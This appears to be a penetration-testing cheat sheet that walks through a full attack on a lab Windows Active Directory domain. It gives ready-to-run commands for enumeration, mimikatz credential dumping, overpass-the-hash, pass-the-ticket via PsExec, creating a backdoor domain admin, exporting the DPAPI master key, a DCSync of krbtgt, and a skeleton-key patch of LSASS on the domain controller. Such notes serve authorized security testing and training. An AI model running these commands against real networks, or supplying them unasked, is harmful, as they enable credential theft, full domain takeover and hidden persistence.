# Windows Active Directory Pentest Toolkit
###### tags: `cyber security` `windows` `active directory` `pentest` `nslookup`
## DNS stuff
### DNS transfers
```=1
# view the address of the dns server
nslookup
# view the fully qualified name of the returned server
server <ip> e.g server 10.0.20.4.azure
# attempt a zone transfer
ls -d <domain> e.g ls -d contoso.azure
```
### DNS Enumeration
```=9
# list all users in domain
net user /domain
# list details of a user e.g ace
net user ace /domain
# enumerate all groups in the domain
net group /domain
# enumerate only the domain admins group
net group "Domain Admins" /domain
# enumerate enterprise admins
net group "Enterprise Admins" /domain
```
# SMB stuff
## SMB session enumeration
* AD's Sysvol folder is one of the most important network shares in the environment.
* Every computer and user must be able to access this particular network share to pull down group policies.
* An attacker can get a goldmine of information from enumerating who has active sessions with the sysvol folder.
A good recon goal would be to conduct smb session enumeration against a domain controller to learn who has sessions with the SMB share and from what IP.
You can use JoeWare's NetSess tool for this from an admin lvl cmd prompt.
```=1
#start the NetSess tool
NetSess
NetSess.exe <domain controller> e.g NetSess.exe ContosoDC
```
## Mimikatz
### Harvesting credentials
This ideally can harvest credentials from user memory
```=1
# open an elevated cmd prompt and navigate to where mimikatz is
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> credentials.txt
# check details for the user of interest e.g ace
net user ace /domain
```
### Overpass the hash
A harvested NTLM hash, like one we would get from the process above, can be used to obtain a TGT which allows us to masquerade as that user.
```=7
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:ace /ntlm:paste ntlm hash here /domain:contoso.azure" "exit"
```
A new command prompt opens executing as the compromised user.
### Power [to the] shell
With the new command prompt obtained let's powershell
```=1
# start powershell
powershell
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
# use a powersploit command
Import-Module C:\tools\PowerSploit\PowerSploit-Master\PowerSploit.psm1 -Force
#identify the local admins for the ip we discovered earlier that was exposed to a domain admin account, for our demo let's use 10.0.20.4
Get-NetLocalGroup 10.0.20.4
```
If we have the right set of credentials we can laterally move to the admin pc based on the info we have at this point
```=11
# Access adminpc
dir \\adminpc\c$
# see what tickets are available
klist
# look for the TGT in the results
```
By this point, the attack should have given us validated admin privileges thus we are set to move laterally to admin pc and harvest more credentials.
```=18
# stage mimikatz on the adminpc
cd C:\tools\mimikatz\x64
xcopy mimikatz.exe \\adminpc\c$\temp
# use a psexec command to remotely execute mimikatz
# execute and export the tickets found in the LSASS.exe process and place them in the current directory on adminpc
PsExec.exe \\AdminPc -accepteula cmd /c (cd c:\temp ^& mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit")
# copy the tickets from the AdminPc to the victimpc, in this case we are only interested in luffy's ticket since he has access to the DC
xcopy \\adminpc\c$\temp\*LuffyM* c:\temp\adminpc_tickets
# in the prompt that pops up select Directory
D
# clean up
rmdir \\adminpc\c$\temp /s /q
```
We can finally become Luffy by passing the ticket
```=36
# import Luffy's tickets
mimikatz.exe "privilege::debug" "kerberos::ptt c:\temp\adminpc_tickets" "exit"
# list available tickets to confirm we are now luffy
klist
```
As the attacker we have successfully passed the ticket at this point.
We harvested Luffy's credential from AdminPc and then passed it to another process running on VictimPc.
However, these tickets remain unused.
#### finish the attack
```=41
# Access the DC from victimpc
dir \\ContosoDC\c$
```
## Establishing Domain Dominance
Ensuring persistence on a domain to act as an insurance policy incase initial compromise and ensuing actions are discovered.
An example is using WMI (windows management instrumentation) to create a process locally on the DC that creates a new user and password.
```=1
# use wmic to create a process to add sabo as a user
wmic /node:ContosoDC process call create "net user /add Sabo p@ssw0rd1"
# use remote powershell to add sabo to the administrators group on the DC
powershell
$s = New-PSSession -ComputerName ContosoDC
Invoke-Command -Session $s -ScriptBlock {add-ADGroupMember -Identity "Administrators" -Members Sabo}
exit
```
Windows uses the Data protection API (DPAPI) to **securely protect passwords saved by browsers, encrypted files, and other sensitive data**
Domain controllers hold a master key that can decrypt all secrets on domain-joined windows machines.
We can use mimikatz to export the master key from the DC
```=12
# export master key
mimikatz.exe "privilege::debug" "lsadump::backupkeys /system:ContosoDC.contoso.azure /export" "exit"
#confirm key has been exported
dir
```
With this key we can decrypt any DPAPI encrypted file or sensitive data from any machine in the entire forest.
### Malicious Replication
* Is a method that allows an attacker to replicate user information using Domain Admin or equivalent credentials.
* It allows for the remote harvesting of credentials.
* The most critical account to attempt to harvest is **krbtgt** as it is the master key used to sign all kerberos tickets.
The two common hacking tools for this are:
* mimikatz
* impacket by core security
### mimikatz for malicious replication
```=17
# replicate the krbtgt account info to a plain text file
mimikatz.exe "lsadump::dcsync /domain:contoso.azure /user:krbtgt" "exit" >> c:\temp\exportedkeys.txt
```
### Skeleton Key Attacks
* In this attack, users can still sign in with their normal password but each of their accounts is also given a master password.
* The new master password / **skeleton key gives anyone who knows it the ability to masquerade as any user at any time.**
* This attack is achieved by **patching the LSASS.exe process on the DC**, forcing users to authenticate via a downgraded encryption type.
```=1
# copy mimikatz to the DC
xcopy mimikatz.exe \\ContosoDC\c$\temp
# remotely execute mimikatz via psexec
PsExec.exe \\ContosoDC -accepteula cmd /c (cd c:\temp ^& mimikatz.exe "privilege::debug" "misc::skeleton" ^& "exit")
```
This patches the LSASS process on the domain controller.
At this point we can run whatever we want as whichever user we want using the skeleton key
```=6
# run calculator as ace
runas /user:ace@contoso.azure "calculator"
# provide the master password mimikatz
```
Skeleton key can be used for any account including service accounts and computer accounts.